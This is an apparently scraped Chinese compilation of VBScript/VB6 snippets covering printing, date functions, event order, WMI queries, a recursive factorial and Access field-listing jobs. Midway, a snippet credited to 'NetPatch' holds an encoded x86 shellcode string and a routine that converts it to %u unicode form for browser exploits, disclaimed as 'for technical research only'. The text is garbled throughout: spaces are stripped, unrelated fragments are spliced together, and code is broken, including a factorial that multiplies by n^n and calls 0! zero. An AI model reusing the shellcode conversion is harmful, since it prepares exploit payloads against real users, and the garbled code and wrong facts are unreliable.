你可以通过在一个打印机文档中打印所有的拷贝实现快速打印多个拷贝内容：
Fori=1Tonum_copies
注释：Printthedocumenthere...
Printer.NewPage
Nexti
Printer.EndDoc
打印灰色行和区域
黑白打印机不能打印灰色行，但是能通过发抖处理来创建灰色区域
注意：本代码仅作为技术研究之用，请勿非法使用
'日期相关:
1. 取出日期时间
1）DateValue(x),TimeValue(x)
格式：v=DateValue(x) :取出的“日期”部分
v=timevalue(x) '类上
2）Year(x),Month(x),Day(x)
格式：v=Year(x)
v=Month(x)
v=Day(x)
Hour(x),Minute(x),Second(x):取出时，分，秒
3）DateSerial(Y,M,D):合并年、月、日成为日期
实例：Dim v
v=DateSerial(1996,10,5) 'v=1996/10/5
TimeSerial(H,M,S):合并时、分、秒成为时间
2. Now:读取系统日期时间
格式：v=now
3. Timer:从凌晨12：00：00AM起所经过的秒数
格式：v=timer
4. DatePart(p,x):取出年、月、日等各部分的数值
实例：Dim X=#2/10/1996 16:45:30#
v=DatePart("yyyy",X) 'v=1996年
v=DatePart("m",X) 'v=2月
v=DatePart("d",X) 'v=10日
v=DatePart("h",X) 'v=16时
v=DatePart("n",X) 'v=45分
v=DatePart("s",X) 'v=30秒
v=DatePart("q",X) 'v=1季（第一季，春季）
v=DatePart("y",X) 'v=41天（1996年的第41天）
v=DatePart("ww",X) 'v=6周（1996年的第6周）
v=DatePart("w",X) 'v=7（第6周的第7天，即星期六）
5. DateAdd(p,n,x):加减若干时间后的新日期时间
格式：v=DateAdd(p,n,x) 'p值同上如："yyyy"、"m"等
实例：Dim x=#1/31/1996 16:45:30#
v=dateadd("yyyy",-3,x) '减3年，v=1993/1/31 16:45:30
6. DateDiff(p,x1,x2):计算两日期时间的差值 'p值同上
实例：dim x1=#12/31/1996 16:45:30#
x2=#2/10/1997 9:30:50#
v=datediff("yyyy",x1,x2) 'v=1年
7. FormatDateTime:日期时间的格式化
格式：v=formatdateyime(x[,日期格式])
日期格式值：DateFormat.GeneralDate 、 DateFormat.LongDate、
DateFotmat.ShortDate、DateFormat.LongTime、DateFormat.ShortTime
8. MonthName:返回月份名称
实例：v=monthname(5) 'v="五月"
9. WeekDayName:返回星期名称 '用法同8.
下面列出了事件驱动应用程序中的典型事件序列：
1、启动应用程序，装载和显示窗体，产生Form_Load和Form_Show事件
2、窗体或窗体上的控件接收事件，事件可由用户引发（例如键盘或鼠标操作），可由系统引发（例如定时器事件），也可由代码间接引发（例如当代码装载其他窗体时产生的Load事件）
3、如果在相应的事件过程中存在代码，就执行代码
4、应用程序等待下一次事件
对初学者而言，理解面向对象编程对于以后进行程序设计是至关重要的，所以读完这篇文章后请你认真回忆一下这几个概念是否清楚——对象、事件、方法和事件过程
OnErrorResumeNext
dtmTargetDate="20020301000000.000000-420"
strComputer="."
SetobjWMIService=GetObject_
("winmgmts:"&"!\"&strComputer&"\root\cimv2")
SetcolFolders=objWMIService.ExecQuery_
("Select*fromWin32_DirectoryWhereCreationDate>'"&_
dtmtargetDate&"'")
ForEachobjFolderincolFolders
Wscript.EchoobjFolder.Name
Next
属性的获得和传递需要经过PropertyLet和PropertyGet语句进行编程，当然，我们首先需要在类中进行全局或者模块级的相应变量定义
'codebyNetPatch
code="\x29\xc9\x83\xe9\xa1\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x92\x06\x5b\x18\x83\xeb\xfc\xe2\xf4\x79\x16\x01\x52\xa1\xcf\x3d\xa1\xae\x07\xdb\x2c\x98\x9f\xb9\xe2\x79\x03\xb3\xf3\x6d\xf9\xa4\x68\xde\x9f\xc2\x81\x51\xfb\x63\xb1\x0b\x9f\xc2\x0a\x4b\x93\x49\xf1\x17\x32\x49\xc1\x03\x14\x1a\x0a\x78\xa3\…………………………"
functionreplaceregex(str)
setregex=newregExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
endFunction
setfso=CreateObject("scripting.filesystemobject")
setfileS=fso.opentextfile("a.txt",8,true)
fileS.writelinereplaceregex(code)
files.close
setfso=nothing
这样，基于几个数字，就可以简单地编写selectcase语句了：
selectcaseIsLegal
case3
注释：thestringwasvalid
callgoodstuff
case19
注释：thestringwasvalid
callgoodstuff
caseelse
注释：invalid
callnogood
endselect
呵呵，有时候，将字符进行数字化，能起到意想不到的好效果
dim n,m
n=inputbox("input a number:","recursion")
m=factorial ( n )
if n<0 then msgbox "must be input a number bigger 0."
elseif n=0 then msgbox "0"&"!"&"is:"&"0"
elseif n>0 then msgbox n&"is:"&m
rem how to done not input and press sure case.
end if
Function Factorial (N)
If N <=1 Then Factorial=1
Else Factorial=Factorial(N - 1)*n^n
End If
End Function
无月泽拉斯
----在表单的Load事件中添加以下代码：
PrivateSubForm_Load()
RichTextBox1.Font.Name="TimesNewRoman"
RichTextBox1.Font.Size=10
RichTextBox1.Text="H2SO4"
'Movethenumbersdown2points.
OffsetRichTextRichTextBox1,1,1,2
OffsetRichTextRichTextBox1,4,1,-2
EndSub
PrivateSubOffsetRichText(boxAsRichTextBox,startAsInteger,lengthAsInteger,offsetAsInteger)
'box指RichTextBox控件；start指作为上下标的
'字符的起始位置；length指上下标字符的长度；
'offset指上标还是下标，大于0上标；小于0下标<jobid="生成ACCESS数据库里所有表及所有字段并生成一定格式的字符组合">
<scriptlanguage="vbscript">
databasename="access.mdb"''数据库地址
tablename="blogarticle"''要处理的表名
Setconn=CreateObject("ADODB.Connection")
connstr="provider=microsoft.jet.oledb.4.0;datasource="&databasename
conn.Openconnstr
Setrs_all=CreateObject("adodb.recordset")
sql_all="selectnamefromMSysObjectswheretype=1andflags=0"
rs_all.Opensql_all,conn,1,1
DoWhileNotrs_all.EOF
tablename=rs_all(0)
Setrs=CreateObject("adodb.recordset")
sql="select*from"&tablename&"where1<>1"
rs.Opensql,conn,1,1
j=rs.Fields.Count
txtContent=""
txtContent1=""
txtContent2=""
txtContent3=""
txtContent4=""
Fori=0To(j-1)
title=rs.Fields(i).Name
txtContent=txtContent&title&"|"
txtContent1=txtContent1&title&"=trim(request("""&title&"""))"&"<br>"
txtContent2=txtContent2&title&"=rs("""&title&""")<br>"
txtContent3=txtContent3&"rs("""&title&""")=trim(request("""&title&"""))<br>"
txtContent4=txtContent4&title&"=rs("""&title&""")<br>"
Next
yongfa365="<divalign=center><ahref=""""class=""titlink""title=""柳永法(yongfa365)'Blog"">柳永法(yongfa365)'Blog</a>制作</div>"&title&"里的字段<br><br>"
CreateFiletablename&".html",yongfa365&txtContent&"<br><br>"&txtContent1&"<br><br>"&txtContent2&"<br><br>"&txtContent3&"<br><br>"&txtContent4
rs_all.movenext
Loop
FunctionCreateFile(FileName,Content)
SetFSO=CreateObject("Scripting.FileSystemObject")
Setfd=FSO.CreateTextFile(FileName,True)
fd.WriteLineContent
EndFunction
</script>
</job>
<jobid="生成ACCESS数据库里指定表的所有字段并生成一定格式的字符组合">
<scriptlanguage="vbscript">
databasename="access.mdb"''数据库地址
tablename="blogarticle"''要处理的表名
Setconn=CreateObject("ADODB.Connection")
connstr="provider=microsoft.jet.oledb.4.0;datasource="&databasename
conn.Openconnstr
''Setrs_all=CreateObject("adodb.recordset")
''sql_all="selectnamefromMSysObjectswheretype=1andflags=0"
''rs_all.Opensql_all,conn,1,1
''DoWhileNotrs_all.EOF
''tablename=rs_all(0)
Setrs=CreateObject("adodb.recordset")
sql="select*from"&tablename&"where1<>1"
rs.Opensql,conn,1,1
j=rs.Fields.Count
txtContent=""
txtContent1=""
txtContent2=""
txtContent3=""
txtContent4=""
Fori=0To(j-1)
title=rs.Fields(i).Name
txtContent=txtContent&title&"|"
txtContent1=txtContent1&title&"=trim(request("""&title&"""))"&"<br>"
txtContent2=txtContent2&title&"=rs("""&title&""")<br>"
txtContent3=txtContent3&"rs("""&title&""")=trim(request("""&title&"""))<br>"
txtContent4=txtContent4&title&"=rs("""&title&""")<br>"
Next
yongfa365="<divalign=center><ahref=""""class=""titlink""title=""柳永法(yongfa365)'Blog"">柳永法(yongfa365)'Blog</a>制作</div>"&title&"里的字段<br><br>"
CreateFiletablename&".html",yongfa365&txtContent&"<br><br>"&txtContent1&"<br><br>"&txtContent2&"<br><br>"&txtContent3&"<br><br>"&txtContent4
''rs_all.movenext
''Loop
FunctionCreateFile(FileName,Content)
SetFSO=CreateObject("Scripting.FileSystemObject")
Setfd=FSO.CreateTextFile(FileName,True)
fd.WriteLineContent
EndFunction
</script>
</job>
。
